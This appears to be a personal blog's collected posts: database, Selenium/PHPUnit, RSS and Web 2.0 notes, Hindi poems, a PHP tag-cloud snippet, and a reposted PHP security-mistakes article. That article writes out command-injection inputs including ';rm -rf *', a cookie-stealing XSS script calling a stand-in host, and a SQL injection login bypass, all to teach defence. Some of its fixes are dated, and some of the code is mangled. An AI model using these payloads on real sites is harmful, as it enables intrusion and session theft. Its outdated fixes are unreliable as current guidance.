                Oracle database XE (Oracle 10g ) is available on 32-bit Windows and Linux platform.Oracle DatabseXE is available on Oracle network http://otn.oracle.com/xe

                Oracle Database XE has a browser based management interface, Oracle Application Express.

                Installing Oracle Database XE on Windows

                REFER :- http://www.oracle.com/technology/tech/php/pdf/underground-php-oracle-manual.pdf

                REFERENCE :- http://www.oracle.com/technology/tech/php/pdf/underground-php-oracle-manual.pdf

                Cloud Computing

                Cloud Computing : -  It refers to the Utilization of shared , elastic resources and processing power accessed via Internet.

                Cloud based developement means , outsourcing of various parts of application out of server & into the cloud.

                Instead of storing Images , Videos , Audio or other files into File system , thay are stored in Cloud.

                Instead of using Local server DB , a cloud-based DB is used.

                Batch – processing and other functionalities are also performed on Cloud.

                Most significant benefit of course is that Cloud’s capacity is theoretically limitless as compared to some Local servers.

                Amazon Cloud related offerings are EC2 ,S3 and Cloud Front

                EC2 :- elastic compute cloud , it allows developers to start instances of servers & control them via web services interface.

                S3 :- provides storage on cloud.

                Cloud Front :- S3 objeccts are esaily achieved via Cloud Front

                Working with Selenium-IDE & Running PHP Unit tests

                Working with Selenium-IDE | Running Functional Tests | Runnig PHP Unit Tests

                Selenium IDE is an integrated development environment for Selenium tests. It is implemented as a Firefox extension, and allows you to record, edit, and debug tests. Selenium IDE includes the entire Selenium Core, allowing you to easily and quickly record and play back tests in the actual environment that they will run.

                Selenium IDE is not only recording tool: it is a complete IDE. You can choose to use its recording capability, or you may edit your scripts by hand. With auto-complete support and the ability to move commands around quickly, Selenium IDE is the ideal environment for creating Selenium tests no matter what style of tests you prefer.

                1. Download selenium IDE from
                http://selenium-ide.openqa.org/download.jsp

                This will directly add IDE as fire-fox add-ons.
                https://addons.mozilla.org/en-US/firefox/addon/2079
                2. Start Firefox and then Start Selenium IDE: Tools->Selenium IDE.

                You will see the following window.

                3. Enter base url or open the site on which you want to perform functional testing.
                IDE will directly open in play mode with the entry of base url as below. Here we want to perform testing on
                http://www.offshoresoftwaredevelopmentindia.com/

                4. After starting the IDE now simply browse the site. It� makes entry in the table as below

                Now the entire test is like

                Now stop recording by pressing red button.

                In html format it looks like

                We can export this file in any format we want as

                In PHP format it looks as

                5. Now to run the recorded test open new browser and press the green – play button

                6. The test will run as follow

                7. If there will be any error then that test will be highlighted by red line as

                8. If you are on a slow internet connection than it may help to slow the test speed.

                9. You can save the test case in php as follow..

                Required changes in the exported PHP file is as follow

                a. Change the class name same as stored file name as default class name will be ?Example?.
                b. Enter the web-site name in the
                $this->setBrowserUrl(”
                http://change-this-to-the-site-you-are-testing/“);
                Field.
                c. Available browser options are
                *iexplore
                *konqueror
                *firefox
                *mock
                *pifirefox
                *piiexplore
                *chrome
                *safari
                *opera
                *iehta
                *custom
                That is write as follow
                $this->setBrowser(”*chrome”);
                (When we define browser as chrome then no need to get security certificate but in case of firefox or iexplore we need to take certificate. )

                10. Downloading and installing Selenium RC
                Selenium RC is a Java based command line server that starts browsers and runs commands you pass from your tests.

                a. First make sure you have a Java runtime installed on your machine.
                Otherwise download it from
                http://www.java.com/en/download/manual.jsp
                http://java.sun.com/javase/6/docs/technotes/guides/jweb/otherFeatures/jre_install.html
                Test the version of JRE by entering command on command line as ?
                java -version
                b. Download Selenium RC from
                http://selenium-rc.seleniumhq.org/download.html.
                c. After extracting the files from the archive copy the ?selenium-server.jar? file to any directory you feel appropriate.
                d. Start the Selenium RC server from the command-line by issuing the following command:
                java -jar selenium-server.jar
                This will start the server on port 4444.
                e. Now the server is ready to accept test commands from your PHP script. Make sure you keep this server running till you finish testing.

                11. Changes in selenium-server.jar file requires to run in Firefox is as below:

                a. Open selenium-server.jar using winrar
                b. locate 2 dirs: customProfileDirCUSTFFCHROME and customProfileDirCUSTFF
                c. recursively explore each of those dirs, and when you find a file called install.rdf drag it to some temp location, and edit the following line:
                <em:maxVersion>2.0.0.*</em:maxVersion>
                change it to:
                <em:maxVersion>4.0.0.*</em:maxVersion>
                d. drag the install.rdf back into the archive and overwrite the old one.
                e. do this for all the install.rdf files in those 2 dirs.

                12. Installing PHPUnit
                a. An easy way to install PHPUnit is to use the PEAR installer. The PEAR channel (pear.phpunit.de) is used to distribute PHPUnit so make sure that it is registered with your local PEAR environment:
                pear channel-discover pear.phpunit.de
                After the channel is registered install PHPUnit:
                pear install phpunit/PHPUnit
                Actual testing

                Now that PHPUnit is installed and the Selenium RC server is up and running, it?s time to run our test we saved before in our ?Example.php? file. Type the following on your command-line:
                phpunit Example

                13. This will start the test. The PHPUnit Selenium driver will execute each test command from your file and send it to the Selenium server, which does the job of launching the appropriate browser, opening web pages, and performing various specified actions; and closing the browser after the test completes.

                This will open new browser as

                After successful execution the output will be as

                 

                REFERENCE:

                http://www.offshoresoftwaredevelopmentindia.com/blog/category/php-development/

                Akela Hu

                pathik aaye pathik gaye ,
                par hu isthir achal mein ..
                Naa chahat naa umang mujh mein
                Phir bhi hathi sthamb hu mein ..

                dhanye hai woh pathik ,
                jisne karuna samjhi meri
                ehsas kiya mere hone ko
                aur jeevan ka saar bhara

                Pathik likhna mera jeevan
                Jisme kabhi khusiya bhi
                panchiyo ki kilkariya thi
                aur fuloo se bhara mera daaman tha

                tab harek pathik mujhe niharta jata
                aur mere rang roop ki bayakhya karta
                woh dekh suun mein bhi shaan mei jhulta
                mud mast hoke hawaoo se larta

                badal se larta jahgarta mein
                sabko bundo ke geet sunata
                bejali ki chamak ko vish pyala samjh kar
                khuud sevan karta jata mein

                karakti dhup mei pathiko ko chaya deta mein
                aur khud ussme jalta mein
                meri teheniyo, pattoo ko thod ghar banate
                panchiyo ko aashrye deta mein

                magar aab mein akela , bebash hu
                sab ne aapni rahein khojh lii
                par mein yehi hu kisi ke intezaar mei
                zindagi ke baache pal aate hi hoge !!!!

                Anand Sharma

                जीवन की आपाधापी में

                जीवन की आपाधापी में कब वक़्त मिला

                कुछ देर कहीं पर बैठ कभी यह सोच सकूँ

                जो किया, कहा, माना उसमें क्या बुरा भला।

                जिस दिन मेरी चेतना जगी मैंने देखा

                मैं खड़ा हुआ हूँ इस दुनिया के मेले में,

                हर एक यहाँ पर एक भुलाने में भूला

                हर एक लगा है अपनी अपनी दे-ले में

                कुछ देर रहा हक्का-बक्का, भौचक्का-सा,

                आ गया कहाँ, क्या करूँ यहाँ, जाऊँ किस जा?

                फिर एक तरफ से आया ही तो धक्का-सा

                मैंने भी बहना शुरू किया उस रेले में,

                क्या बाहर की ठेला-पेली ही कुछ कम थी,

                जो भीतर भी भावों का ऊहापोह मचा,

                जो किया, उसी को करने की मजबूरी थी,

                जो कहा, वही मन के अंदर से उबल चला,

                जीवन की आपाधापी में कब वक़्त मिला

                कुछ देर कहीं पर बैठ कभी यह सोच सकूँ

                जो किया, कहा, माना उसमें क्या बुरा भला।

                मेला जितना भड़कीला रंग-रंगीला था,

                मानस के अन्दर उतनी ही कमज़ोरी थी,

                जितना ज़्यादा संचित करने की ख़्वाहिश थी,

                उतनी ही छोटी अपने कर की झोरी थी,

                जितनी ही बिरमे रहने की थी अभिलाषा,

                उतना ही रेले तेज ढकेले जाते थे,

                क्रय-विक्रय तो ठण्ढे दिल से हो सकता है,

                यह तो भागा-भागी की छीना-छोरी थी;

                अब मुझसे पूछा जाता है क्या बतलाऊँ

                क्या मान अकिंचन बिखराता पथ पर आया,

                वह कौन रतन अनमोल मिला ऐसा मुझको,

                जिस पर अपना मन प्राण निछावर कर आया,

                यह थी तकदीरी बात मुझे गुण दोष न दो

                जिसको समझा था सोना, वह मिट्टी निकली,

                जिसको समझा था आँसू, वह मोती निकला।

                जीवन की आपाधापी में कब वक़्त मिला

                कुछ देर कहीं पर बैठ कभी यह सोच सकूँ

                जो किया, कहा, माना उसमें क्या बुरा भला।

                मैं कितना ही भूलूँ, भटकूँ या भरमाऊँ,

                है एक कहीं मंज़िल जो मुझे बुलाती है,

                कितने ही मेरे पाँव पड़े ऊँचे-नीचे,

                प्रतिपल वह मेरे पास चली ही आती है,

                मुझ पर विधि का आभार बहुत-सी बातों का।

                पर मैं कृतज्ञ उसका इस पर सबसे ज़्यादा -

                नभ ओले बरसाए, धरती शोले उगले,

                अनवरत समय की चक्की चलती जाती है,

                मैं जहाँ खड़ा था कल उस थल पर आज नहीं,

                कल इसी जगह पर पाना मुझको मुश्किल है,

                ले मापदंड जिसको परिवर्तित कर देतीं

                केवल छूकर ही देश-काल की सीमाएँ

                जग दे मुझपर फैसला उसे जैसा भाए

                लेकिन मैं तो बेरोक सफ़र में जीवन के

                इस एक और पहलू से होकर निकल चला।

                जीवन की आपाधापी में कब वक़्त मिला

                कुछ देर कहीं पर बैठ कभी यह सोच सकूँ

                जो किया, कहा, माना उसमें क्या बुरा भला।

                RSS(Really simple Syndication)

                RSS stands for Really Simple syndication / Rich Site Summary .

                RSS is used to get standard data format for communicating news , any updates or any thing that indiviual or organisation want to syndicate with large audience .

                RSS is an XML format that consists of designated elements that are consistent for all RSS feeds and conform to the XML 1.0 specification. These elements need to stay consistent to allow for a standardized data format that RSS aggregators can then consume.

                An RSS feed always starts with an <rss> element, which contains an attribute called version, which specifies the version of the RSS feed.Today RSS version 2.0 is used world wide.

                <rss version=”2.0″></rss>

                <rss> element has a child called <channel> that is used  for  containing important data or content with in RSS feed .

                <rss version=”2.0″><channel></channel></rss>


                In order to describe an RSS feed there are some tags that can be added to the beginning of a feed.

                The required <channel> elements are <title>, <link>; and <description>. Optional channel elements are <language>, <copyright>, <managingEditor>, <webmaster>, <pubDate>, <lastBuildDate>, <category>, <generator>, <docs>, <cloud>, <ttl>, <image>, <rating>, <textInput>, <skipHours> and <skipDays>.


                • language – The language of the content in the channel.
                • copyright – The copyright notice for the content of the channel.
                • managingEditor – An e-mail address for the editorial content producer.
                • webMaster – An e-mail address for the webmaster.
                • pubDate – A date that represents the publication date for the content in the channel.
                • lastBuildDate – The last date and time that the content was changed.
                • category – Allows for the ability to add one or multiple categories that a channel belongs to.
                • generator – The program that created the channel.
                • docs – URL for the documentation for the format of the RSS feed.
                • cloud – Provides a process to register with a “cloud” that will be used to notify about updates.
                • ttl – Stands for time to live, which tells the length of time the channel can be cached.
                • image – Specifies an image file to be displayed in the channel.
                • rating – PICS rating for the channel.
                • textInput – A text input field that can be displayed with the channel.
                • skipHours – Tells aggregators to skip for specified hours.
                • skipDays – Tells aggregators to skip for specified days.

                RSS feeds are grouped into items, for example an item group could be considered news stories from a news Web site, blog posts from a weblog and so on. The following feed consists of an item from a weblog, which consists of a post. Typically an RSS feed for a weblog has multiple items that represent all of the posts to the blog. Following is an example of the RSS feed data that can be found in a blog.



                1 <rss version=“2.0″>
                2 <channel>
                3 <item>
                4 <guid isPermaLink=“false”>
                5 http://www.blogger.com/feeds/12931054/posts/115232323
                6 </guid>
                7 <pubDate>Fri, 01 mar 2010 21:08:00 +0000</pubDate>
                8 <title>Secure Ajax Requests</title>
                9 <description>
                10 <div xmlns=“http://www.w3.org/1999/xhtml”>My latest article for InformIT, titled <href=“http://www.informit.com”>How to Secure Ajax Requests</a> is on the homepage this week. This article focuses on ensuring that your database-enabled Ajax requests are secure and not leaving your database open for an attack. Enjoy…</div>
                11 </description>
                12 <link>
                13 http://www.annadshahil11.wordpresscom/blog/09/secure-ajax-requests.html
                14 </link>
                15 <author>anand sharma</author>
                16 </item>
                17 </channel>
                18 </rss>

                • guid – The guid is an element that contains a string that uniquely identifies the item.
                • pubDate – The pubDate is the date that the item was published.
                • title – The title is the title that is specified for the item; in this case it’s the title of the weblog post.
                • description – Contains the main data for the item, this element is used for the body of the weblog post in this case.
                • link – Contains a full URL to the individual page in which the specific item exists in detail.
                • author – Represents the author of the content that is presented within this item group.
                • category – Allows the item to be included into one ore more category.
                • comments – URL of page that contains comments related to the item.
                • enclosure – Can be used to describe a media object if one is attached to the item.
                • source – The RSS channel that the item came from.



                Reference :-

                http://www.webreference.com/authoring/languages/xml/rss/feeds/

                http://www.webreference.com/programming/javascript/rss_feeds_ajax/

                http://www.webreference.com/programming/javascript/rss_feeds_ajax/2.html

                http://www.developer.com/xml/article.php/3113931

                http://forums.digitalpoint.com/showthread.php?t=32265

                WEB 2.0

                WEB 2.0 :-

                It is a second generation of web developement and design that aims to facilitate communications , secure information sharing , interoperability (means ability of diverse systems and organisation to work together ) and collaboration on world wide web . Web 2.o concepts useerd in host services , applications such as social networking sites , blogs, video sharing sites , wikis .

                web 2.0 encourages interactivity and interconnectivity. Web 2.0 websites allow user to do more than just retreiving information . These sites provide controll to user so that they can own data and exercise controll over data.

                Web 2.0 is often feature a rich , user friendly based on AJAX, Open laszlo , Flex and other rich media.

                The Characteristic of web 2.0 are : rich user experience , user participation , dynamic content , metadata(Metadata (meta data, or sometimes metainformation) is “data about other data”, of any sort in any media. metadata would document data about data elements or attributes, (name, size, data type, etc) and data about records or data structures (length, fields, columns, etc) and data about data (where it is located, how it is associated, ownership, etc.)) , web standards and scalability(scalability is a desirable property of a system, a network, or a process, which indicates its ability to either handle growing amounts of work in a graceful manner, or to be readily enlarged).




                Top 7 PHP Security Blunders

                Top 7 PHP Security Blunders

                PHP is a terrific language for the rapid development of dynamic Websites. It also has many features that are friendly to beginning programmers, such as the fact that it doesn’t require variable declarations. However, many of these features can lead a programmer inadvertently to allow security holes to creep into a Web application. The popular security mailing lists teem with notes of flaws identified in PHP applications, but PHP can be as secure as any other language once you understand the basic types of flaws PHP applications tend to exhibit.
                In this article, I’ll detail many of the common PHP programming mistakes that can result in security holes. By showing you what not to do, and how each particular flaw can be exploited, I hope that you’ll understand not just how to avoid these particular mistakes, but also why they result in security vulnerabilities. Understanding each possible flaw will help you avoid making the same mistakes in your PHP applications.
                Security is a process, not a product, and adopting a sound approach to security during the process of application development will allow you to produce tighter, more robust code.
                Unvalidated Input Errors
                One of — if not the — most common PHP security flaws is the unvalidated input error. User-provided data simply cannot be trusted. You should assume every one of your Web application users is malicious, since it’s certain that some of them will be. Unvalidated or improperly validated input is the root cause of many of the exploits we’ll discuss later in this article.
                As an example, you might write the following code to allow a user to view a calendar that displays a specified month by calling the UNIX cal command.

                $month = $_GET['month'];
                $year = $_GET['year'];

                exec(“cal $month $year”, $result);
                print “

                ";
                 foreach ($result as $r) { print "$r
                "; }
                 print "

                “;
                This code has a gaping security hole, since the $_GET[month] and $_GET[year] variables are not validated in any way. The application works perfectly, as long as the specified month is a number between 1 and 12, and the year is provided as a proper four-digit year. However, a malicious user might append “;ls -la” to the year value and thereby see a listing of your Website’s html directory. An extremely malicious user could append “;rm -rf *” to the year value and delete your entire Website!
                The proper way to correct this is to ensure that the input you receive from the user is what you expect it to be. Do not use JavaScript validation for this; such validation methods are easily worked around by an exploiter who creates their own form or disables javascript. You need to add PHP code to ensure that the month and year inputs are digits and only digits, as shown below.
                $month = $_GET['month'];
                $year = $_GET['year'];if (!preg_match(“/^[0-9]{1,2}$/”, $month)) die(“Bad month, please re-enter.”);
                if (!preg_match(“/^[0-9]{4}$/”, $year)) die(“Bad year, please re-enter.”);

                exec(“cal $month $year”, $result);
                print “

                ";
                 foreach ($result as $r) { print "$r
                "; }
                 print "

                “;
                This code can safely be used without concern that a user could provide input that would compromise your application, or the server running it. Regular expressions are a great tool for input validation. They can be difficult to grasp, but are extremely useful in this type of situation.
                You should always validate your user-provided data by rejecting anything other than the expected data. Never use the approach that you’ll accept anything except data you know to be harmful — this is a common source of security flaws. Sometimes, malicious users can get around this methodology, for example, by including bad input but obscuring it with null characters. Such input would pass your checks, but could still have a harmful effect.
                You should be as restrictive as possible when you validate any input. If some characters don’t need to be included, you should probably either strip them out, or reject the input completely.
                Access Control Flaws
                Another type of flaw that’s not necessarily restricted to PHP applications, but is important nonetheless, is the access control type of vulnerability. This flaw rears its head when you have certain sections of your application that must be restricted to certain users, such as an administration page that allows configuration settings to be changed, or displays sensitive information.
                You should check the user’s access privileges upon every load of a restricted page of your PHP application. If you check the user’s credentials on the index page only, a malicious user could directly enter a URL to a “deeper” page, which would bypass this credential checking process.
                It’s also advisable to layer your security, for example, by restricting user access on the basis of the user’s IP address as well as their user name, if you have the luxury of writing an application for users that will have predictable or fixed IPs. Placing your restricted pages in a separate directory that’s protected by an apache .htaccess file is also good practice.
                Place configuration files outside your Web-accessible directory. A configuration file can contain database passwords and other information that could be used by malicious users to penetrate or deface your site; never allow these files to be accessed by remote users. Use the PHP include function to include these files from a directory that’s not Web-accessible, possibly including an .htaccess file containing “deny from all” just in case the directory is ever made Web-accessible by adiminstrator error. Though this is redundant, layering security is a positive thing.
                For my PHP applications, I prefer a directory structure based on the sample below. All function libraries, classes and configuration files are stored in the includes directory. Always name these include files with a .php extension, so that even if all your protection is bypassed, the Web server will parse the PHP code, and will not display it to the user. The www and admin directories are the only directories whose files can be accessed directly by a URL; the admin directory is protected by an .htaccess file that allows users entry only if they know a user name and password that’s stored in the .htpasswd file in the root directory of the site.
                /home
                /httpd
                /www.example.com
                .htpasswd
                /includes
                cart.class.php
                config.php
                /logs
                access_log
                error_log
                /www
                index.php
                /admin
                .htaccess
                index.php
                You should set your Apache directory indexes to ‘index.php’, and keep an index.php file in every directory. Set it to redirect to your main page if the directory should not be browsable, such as an images directory or similar.
                Never, ever, make a backup of a php file in your Web-exposed directory by adding .bak or another extension to the filename. Depending on the Web server you use (Apache thankfully appears to have safeguards for this), the PHP code in the file will not be parsed by the Web server, and may be output as source to a user who stumbles upon a URL to the backup file. If that file contained passwords or other sensitive information, that information would be readable — it could even end up being indexed by Google if the spider stumbled upon it! Renaming files to have a .bak.php extension is safer than tacking a .bak onto the .php extension, but the best solution is to use a source code version control system like CVS. CVS can be complicated to learn, but the time you spend will pay off in many ways. The system saves every version of each file in your project, which can be invaluable when changes are made that cause problems later.
                Session ID Protection
                Session ID hijacking can be a problem with PHP Websites. The PHP session tracking component uses a unique ID for each user’s session, but if this ID is known to another user, that person can hijack the user’s session and see information that should be confidential. Session ID hijacking cannot completely be prevented; you should know the risks so you can mitigate them.
                For instance, even after a user has been validated and assigned a session ID, you should revalidate that user when he or she performs any highly sensitive actions, such as resetting passwords. Never allow a session-validated user to enter a new password without also entering their old password, for example. You should also avoid displaying truly sensitive data, such as credit card numbers, to a user who has only been validated by session ID.
                A user who creates a new session by logging in should be assigned a fresh session ID using the session_regenerate_id function. A hijacking user will try to set his session ID prior to login; this can be prevented if you regenerate the ID at login.
                If your site is handling critical information such as credit card numbers, always use an SSL secured connection. This will help reduce session hijacking vulnerabilities since the session ID cannot be sniffed and easily hijacked.
                If your site is run on a shared Web server, be aware that any session variables can easily be viewed by any other users on the same server. Mitigate this vulnerability by storing all sensitive data in a database record that’s keyed to the session ID rather than as a session variable. If you must store a password in a session variable (and I stress again that it’s best just to avoid this), do not store the password in clear text; use the sha1() (PHP 4.3+) or md5() function to store the hash of the password instead.
                if ($_SESSION['password'] == $userpass) {
                // do sensitive things here
                }
                The above code is not secure, since the password is stored in plain text in a session variable. Instead, use code more like this:
                if ($_SESSION['sha1password'] == sha1($userpass)) {
                // do sensitive things here
                }
                The SHA-1 algorithm is not without its flaws, and further advances in computing power are making it possible to generate what are known as collisions (different strings with the same SHA-1 sum). Yet the above technique is still vastly superior to storing passwords in clear text. Use MD5 if you must — since it’s superior to a clear text-saved password — but keep in mind that recent developments have made it possible to generate MD5 collisions in less than an hour on standard PC hardware. Ideally, one should use a function that implements SHA-256; such a function does not currently ship with PHP and must be found separately.
                For further reading on hash collisions, among other security related topics, Bruce Schneier’s Website is a great resource.
                Cross Site Scripting (XSS) Flaws
                Cross site scripting, or XSS, flaws are a subset of user validation where a malicious user embeds scripting commands — usually JavaScript — in data that is displayed and therefore executed by another user.
                For example, if your application included a forum in which people could post messages to be read by other users, a malicious user could embed a tag, shown below, which would reload the page to a site controlled by them, pass your cookie and session information as GET variables to their page, then reload your page as though nothing had happened. The malicious user could thereby collect other users’ cookie and session information, and use this data in a session hijacking or other attack on your site.document.location =
                ‘http://www.badguys.com/cgi-bin/cookie.php?’ +
                document.cookie;

                To prevent this type of attack, you need to be careful about displaying user-submitted content verbatim on a Web page. The easiest way to protect against this is simply to escape the characters that make up HTML syntax (in particular, ) to HTML character entities (< and >), so that the submitted data is treated as plain text for display purposes. Just pass the data through PHP’s htmlspecialchars function as you are producing the output.
                If your application requires that your users be able to submit HTML content and have it treated as such, you will instead need to filter out potentially harmful tags like . This is best done when the content is first submitted, and will require a bit of regular expressions know-how.
                The Cross Site Scripting FAQ at cgisecurity.com provides much more information and background on this type of flaw, and explains it well. I highly recommend reading and understanding it. XSS flaws can be difficult to spot and are one of the easier mistakes to make when programming a PHP application, as illustrated by the high number of XSS advisories issued on the popular security mailing lists.

                SQL Injection Vulnerabilities
                SQL injection vulnerabilities are yet another class of input validation flaws. Specifically, they allow for the exploitation of a database query. For example, in your PHP script, you might ask the user for a user ID and password, then check for the user by passing the database a query and checking the result.
                SELECT * FROM users WHERE name=’$username’ AND pass=’$password’;
                However, if the user who’s logging in is devious, he may enter the following as his password:
                ‘ OR ’1′=’1
                This results in the query being sent to the database as:
                SELECT * FROM users WHERE name=’known_user’ AND pass=” OR ’1′=’1′;
                This will return the username without validating the password — the malicious user has gained entry to your application as a user of his choice. To alleviate this problem, you need to escape dangerous characters from the user-submitted values, most particularly the single quotes (‘). The simplest way to do this is to use PHP’s addslashes() function.
                $username = addslashes($_POST["username"]);
                $password = addslashes($_POST["password"]);
                But depending on your PHP configuration, this may not be necessary! PHP’s much-reviled magic quotes feature is enabled by default in current versions of PHP. This feature, which can be disabled by setting the magic_quotes_gpc php.ini variable to Off, will automatically apply addslashes to all values submitted via GET, POST or cookies. This feature safeguards against inexperienced developers who might otherwise leave security holes like the one described above, but it has an unfortunate impact on performance when input values do not need to be escaped for use in database queries. Thus, most experienced developers elect to switch this feature off.
                If you’re developing software that may be installed on shared servers where you might not be able to change the php.ini file, use code to check that status of magic_quotes_gpc and, if it is turned on, pass all input values through PHP’s stripslashes() function. You can then apply addslashes() to any values destined for use in database queries as you would normally.
                if (get_magic_quotes_gpc()){
                $_GET = array_map(‘stripslashes’, $_GET);
                $_POST = array_map(‘stripslashes’, $_POST);
                $_COOKIE = array_map(‘stripslashes’, $_COOKIE);
                }
                SQL injection flaws do not always lead to privilege escalation. For instance, they can allow a malicious user to output selected database records if the result of the query is printed to your HTML output.
                You should always check user-provided data that will be used in a query for the characters ‘”,;() and, possibly, for the keywords “FROM”, “LIKE”, and “WHERE” in a case-insensitive fashion. These are the characters and keywords that are useful in a SQL insertion attack, so if you strip them from user inputs in which they’re unnecessary, you’ll have much less to worry about from this type of flaw.
                Error Reporting
                You should ensure that your display_errors php.ini value is set to “0″. Otherwise, any errors that are encountered in your code, such as database connection errors, will be output to the end user’s browser. A malicious user could leverage this flaw to gain information about the internal workings of your application, simply by providing bad input and reading the error messages that result.
                The display_errors value can be set at runtime using the ini_set function, but this is not as desirable as setting it in the ini file, since a fatal compilation error of your script will still be displayed: if the script has a fatal error and cannot run, the ini_set function is not run.
                Instead of displaying errors, set the error_log ini variable to “1″ and check your PHP error log frequently for caught errors. Alternatively, you can develop your own error handling functions that are automatically invoked when PHP encounters an error, and can email you or execute other PHP code of your choice. This is a wise precaution to take, as you will be notified of an error and have it fixed possibly before malicious users even know the problem exists. Read the PHP manual pages on error handling and learn about the set_error_handler() function.
                Data Handling Errors
                Data handling errors aren’t specific to PHP per se, but PHP application developers still need to be aware of them. This class of error arises when data is handled in an insecure manner, which makes it available to possible interception or modification by malicious parties.
                The most common type of data handling error is in the unencrypted HTTP transmission of sensitive data that should be transmitted via HTTPS. Credit card numbers and customer information are the most common types of secured data, but if you transmit usernames and passwords over a regular HTTP connection, and those usernames and passwords allow access to sensitive material, you might as well transmit the sensitive material itself over an unencrypted connection. Use SSL security whenever you transmit sensitive data from your application to a user’s browser. Otherwise, a malicious eavesdropper on any router between your server and the end user can very easily sniff the sensitive information out of the network packets.
                The same type of risk can occur when applications are updated using FTP, which is an insecure protocol. Transferring a PHP file that contains database passwords to your remote Webserver over an insecure protocol like FTP can allow an eavesdropper to sniff the packets and reveal your password. Always use a secure protocol like SFTP or SCP to transmit sensitive files. Never allow sensitive information to be sent by your application via email, either. An email message is readable by anyone who’s capable of reading the network traffic. A good rule of thumb is that if you wouldn’t write the information on the back of a postcard and put it through the mail, you shouldn’t send it via email, either. The chance anyone will actually intercept the message may be low, but why risk it?
                It’s important to minimize your exposure to data handling flaws. For example, if your application is an online store, is it necessary to save the credit card numbers attached to orders that are more than six months old? Archive the data and store it offline, limiting the amount of data that can be compromised if your Webserver is breached. It’s basic security practice not only to attempt to prevent an intrusion or compromise, but also to mitigate the negative effects of a successful compromise. No security system is ever perfect, so don’t assume that yours is. Take steps to minimize the fallout if you do suffer a penetration.
                Configuring PHP For Security
                Generally, most new PHP installations that use recent PHP releases are configured with much stronger security defaults than was standard in past PHP releases. However, your application may be installed on a legacy server that has had its version of PHP upgraded, but not the php.ini file. In this case, the default settings may not be as secure as the default settings on a fresh install.
                You should create a page that calls the phpinfo() function to list your php.ini variables and scan them for insecure settings. Keep this page in a restricted place and do not allow public access to it. The output of phpinfo() contains information that a potential hacker might find extremely useful.
                Some settings to consider when configuring PHP for security include:
                1.register_globals: The boogeyman of PHP security is register_globals, which used to default to “on” in older releases of PHP but has since been changed to default to “off”. It exports all user input as global variables. Check this setting and disable it — no buts, no exceptions. Just do it! This setting is possibly responsible for more PHP security flaws than any other single cause. If you’re on a shared host, and they won’t let you disable register_globals, get a new host!
                2.safe_mode: The safe mode setting can be very useful to prevent unauthorized access to local system files. It works by only allowing the reading of files that are owned by the user account that owns the executing PHP script. If your application opens local files often, consider enabling this setting.
                3.disable_functions: This setting can only be set in your php.ini file, not at runtime. It can be set to a list of functions that you would like disabled in your PHP installation. It can help prevent the possible execution of harmful PHP code. Some functions that are useful to disable if you do not use them are system and exec, which allow the execution of external programs.
                Read the security section of the PHP manual and get to know it well. Treat it as material for a test you’ll take and get to know it backwards and forwards. You will be tested on the material by the hackers who will indubitably attempt to penetrate your site. You get a passing grade on the test if the hackers give up and move on to an easier target whose grasp of these concepts is insufficient.
                Further Reading
                The following sites are recommended reading to maintain your security knowledge. New flaws and new forms of exploits are discovered all the time, so you cannot afford to rest on your laurels and assume you have all the bases covered. As I stated in the introduction to this article, “Security is a process”, but security education is also a process, and your knowledge must be maintained.
                OWASP, The Open Web Application Security Project, is a non-profit oganisation dedicated to “finding and fighting the causes of insecure software”. The resources it provides are invaluable and the group has many local chapters that hold regular meetings with seminars and roundtable discussions. Highly recommended.
                CGISecurity.Net is another good site dealing with Web application security. They have some interesting FAQs and more in-depth documentation on some of the types of flaws I’ve discussed in this article.
                The security section of the PHP Manual is a key resource that I mentioned above, but I include it here again, since it’s full of great information that’s directly applicable to PHP. Don’t gloss over the comments at the bottom of each page: some of the best and most up-to-date information can be found in the user-contributed notes.
                The PHP Security Consortium offers a library with links to other helpful resources, PHP-specific summaries of the SecurityFocus newsletters, the PHP Security Guide, and a couple of articles.
                The BugTraq mailing list is a great source of security related advisories that you should read if you’re interested in security in general. You may be shocked by the number of advisories that involve popular PHP applications allowing SQL insertion, Cross Site Scripting and some of the other flaws I’ve discussed here.
                Linux Security is another good site that is not necessarily restricted to PHP but, since you are likely running a Linux Webserver to host your PHP applications, it’s useful to try to stay up to date on the latest advisories and news related to your chosen Linux distribution. Don’t assume your hosting company is on top of these developments; be aware on your own — your security is only as good as your weakest point. It does you no good to have a tightly secured PHP application running on a server with an outdated service that exposes a well-known and exploitable flaw.
                Conclusions
                As I’ve shown in this article, there are many things to be aware of when programming secure PHP applications, though this is true with any language, and any server platform. PHP is no less secure than many other common development languages. The most important thing is to develop a proper security mindset and to know your tools well. I hope you enjoyed this article and learned something as well! Remember: just because you’re paranoid doesn’t mean there’s no one out to get you.

                Tag Cloud in PHP

                code :-

                <?php
                
                // connect to database at some point
                
                // In the SQL below, change these three things:
                // thing is the column name that you are making a tag cloud for
                // id is the primary key
                // my_table is the name of the database table
                
                $query = "SELECT thing AS tag, COUNT(id) AS quantity
                FROM my_table
                GROUP BY thing
                ORDER BY thing ASC";
                
                $result = mysql_query($query);
                
                // here we loop through the results and put them into a simple array:
                // $tag['thing1'] = 12;
                // $tag['thing2'] = 25;
                // etc. so we can use all the nifty array functions
                // to calculate the font-size of each tag
                while ($row = mysql_fetch_array($result)) {
                    $tags[$row['tag']] = $row['quantity'];
                }
                
                // change these font sizes if you will
                $max_size = 250; // max font size in %
                $min_size = 100; // min font size in %
                
                // get the largest and smallest array values
                $max_qty = max(array_values($tags));
                $min_qty = min(array_values($tags));
                
                // find the range of values
                $spread = $max_qty - $min_qty;
                if (0 == $spread) { // we don't want to divide by zero
                    $spread = 1;
                }
                
                // determine the font-size increment
                // this is the increase per tag quantity (times used)
                $step = ($max_size - $min_size)/($spread);
                
                // loop through our tag array
                foreach ($tags as $key => $value) {
                
                    // calculate CSS font-size
                    // find the $value in excess of $min_qty
                    // multiply by the font-size increment ($size)
                    // and add the $min_size set above
                    $size = $min_size + (($value - $min_qty) * $step);
                    // uncomment if you want sizes in whole %:
                    // $size = ceil($size);
                
                    // you'll need to put the link destination in place of the #
                    // (assuming your tag links to some sort of details page)
                    echo ''.$key.' ';
                    // notice the space at the end of the link
                }
                
                ?>
                
                Should give you something that looks like this (but as links if you so choose):
                
                Thing 1 Thing 2 Thing 3 Thing 4 Thing 5 Thing 6 Thing 7 Thing 8
                
                Hope someone finds this useful—I think it’s a really good way to visualize the popularity of any sort of categories: blog post tags, membership per country, songs per artist in your favorite playlist, etc.
                
                Edit 2006-10-07:
                
                After a few of the questions I’ve received, here’s a bit of an expansion on this technique. (A few others are answered in the comments, so be sure to read those, too!)
                
